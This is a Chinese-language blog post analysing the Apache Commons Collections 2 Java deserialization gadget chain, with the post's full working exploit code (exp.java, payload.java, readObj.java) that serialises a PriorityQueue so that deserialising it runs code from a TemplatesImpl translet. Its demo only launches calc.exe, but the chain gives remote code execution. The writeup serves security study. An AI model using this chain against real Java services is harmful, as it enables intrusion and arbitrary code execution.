前言:
這篇主要分析commonCollections2,呼叫鏈如下圖所示:

呼叫鏈分析:
分析環境:jdk1.8.0

反序列化的入口點為src.zip!/java/util/PriorityQueue.java

此時將會對佇列呼叫siftdown函式,其中佇列中包含了兩個元素,其中一個即為templatesImpl惡意類

接下來呼叫siftDownUsingComparator函式

在這里將呼叫TransformingComparator的compare函式,在這里就到了新的漏洞觸發點,this.transformer.transform(),而這里的this.transformer即為invokerTransformer,
在commoncollections1中第一次呼叫的是Lazymap的this.factory.transform,而這里是priorityQueue.java的compare里的this.transformer.transform


而invokeTransformer中將反射呼叫,templatesImple的newTranformer方法,以前分析fastjson1.2.24時候也用的是這個內置的TemplatesImple類,其有getoutputProperties也將呼叫newTransformer()


接著套路思路就是在newTransformer中實體化我們的惡意位元組碼中包含的類,從而呼叫其static代碼塊或者構造方法中的rce代碼


ysoserial-exp構造
分析完呼叫鏈以后看看ysoserial是如何構造payload的

首先創建TemplatesImpl實體

Class.forName加載三個需要用到的類,然后呼叫多載的TemplatesImpl來創建實體,這里用到的技術是javassist操作類的位元組碼

接下來要對我們_bytecode欄位所要存盤的惡意位元組碼類進行操作,這里首先將兩個類放到pool中

其中SubTransletpaylod就是存放rce代碼的類

接下來從pool中取出要操作的類,來操作其位元組碼

接下來該類創建static代碼塊,并且加入rce的代碼,這里的代碼可以自定義,讀寫檔案也可以

然后給該類重新設定名字,其實這個可以省略,接下來給該類設定父類為tranlet,其實這里也可以不設定,payload類里已經設定好了

之后將rce類的位元組碼放到_bytecodes屬性中,再設定其他依賴屬性_name和_tfactory即可回傳templatesImpl類

接著定義需要反射呼叫的方法,這里首先用tostring進行填充,后面再放入newtransformer,宣告要反序列化的佇列priorityQueue,容量為2

然后反射設定invoketransformer的方法為newtransformer來替換原來的tostring,然后再將queue中的兩個元素替換成templatesImpl類的實體,從而結束整個構造程序,因此構造分為三步
1.構造用于執行rce的類
2.構造templatesImpl類的實體,將1中的類填充
3.將2中的類填充到priorityqueue佇列中,回傳obj
手動撰寫exp:
exp.java
package CommonCollections2; import javassist.*; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.*; import java.lang.reflect.Field; import java.util.Comparator; import java.util.PriorityQueue; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; public class exp { public static void main(String[] args) throws ClassNotFoundException, NotFoundException, IOException, CannotCompileException, NoSuchFieldException, IllegalAccessException { TemplatesImpl tmp = new TemplatesImpl(); ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(payload.class)); CtClass clazz = pool.get(payload.class.getName()); final byte[] clazzByte = clazz.toBytecode(); //_bytecode為private,需要設定可訪問 Field _btcode = TemplatesImpl.class.getDeclaredField("_bytecodes"); _btcode.setAccessible(true); _btcode.set(tmp,new byte[][]{clazzByte}); //_name不為空即可 Field _name = TemplatesImpl.class.getDeclaredField("_name"); _name.setAccessible(true); _name.set(tmp,"tr1ple"); //_tfactory可為空 Field _tf = TemplatesImpl.class.getDeclaredField("_tfactory"); _tf.setAccessible(true); _tf.set(tmp,null); // //構造priorityqueue物件 // PriorityQueue queue = new PriorityQueue(2); queue.add(1); queue.add(1); InvokerTransformer trans = new InvokerTransformer("newTransformer",new Class[0],new Object[0]); //InvokerTransformer trans = new InvokerTransformer("getOutputProperties",new Class[0],new Object[0]); //呼叫該方法一樣的效果 //依賴collections4 TransformingComparator com = new TransformingComparator(trans); Field ComFi = PriorityQueue.class.getDeclaredField("comparator"); ComFi.setAccessible(true); ComFi.set(queue,com); Field qu = PriorityQueue.class.getDeclaredField("queue"); qu.setAccessible(true); Object[] objOutput = (Object[])qu.get(queue); objOutput[0] = tmp; objOutput[1] = 1; //序列化 File file; file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections2.ser"); OutputStream out = new FileOutputStream(file); ObjectOutputStream obj = new ObjectOutputStream(out); obj.writeObject(queue); obj.close(); } }
payload.java
package CommonCollections2; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; import java.io.Serializable; public class payload extends AbstractTranslet implements Serializable { { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } } public payload(){ System.out.println("tr1ple 2333"); } public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
readObj.java
package CommonCollections2; import java.io.*; public class readObj { public static void main(String[] args) { try { FileInputStream fio = new FileInputStream(new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections2.ser")); ObjectInputStream obj = new ObjectInputStream(fio); obj.readObject(); obj.close(); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } } }
測驗結果:
如下圖所示,_bytecode中的類將被實體化,呼叫static代碼塊的代碼和建構式中的代碼

總結:
整個呼叫鏈的重點是在對佇列元素排序時可以自定義比較器進行轉換從而觸發反射呼叫佇列元素的成員方法,相對于cc1來說構造感覺更精巧一點,這個內部TemplatesImpl類也是jdk內置的,攻擊效果也不受到jdk版本影響,只要cc4.0的依賴存在即可
轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/2284.html
標籤:訊息安全
上一篇:Apache Solr JMX服務 RCE 漏洞復現
下一篇:brup安裝證書抓取https
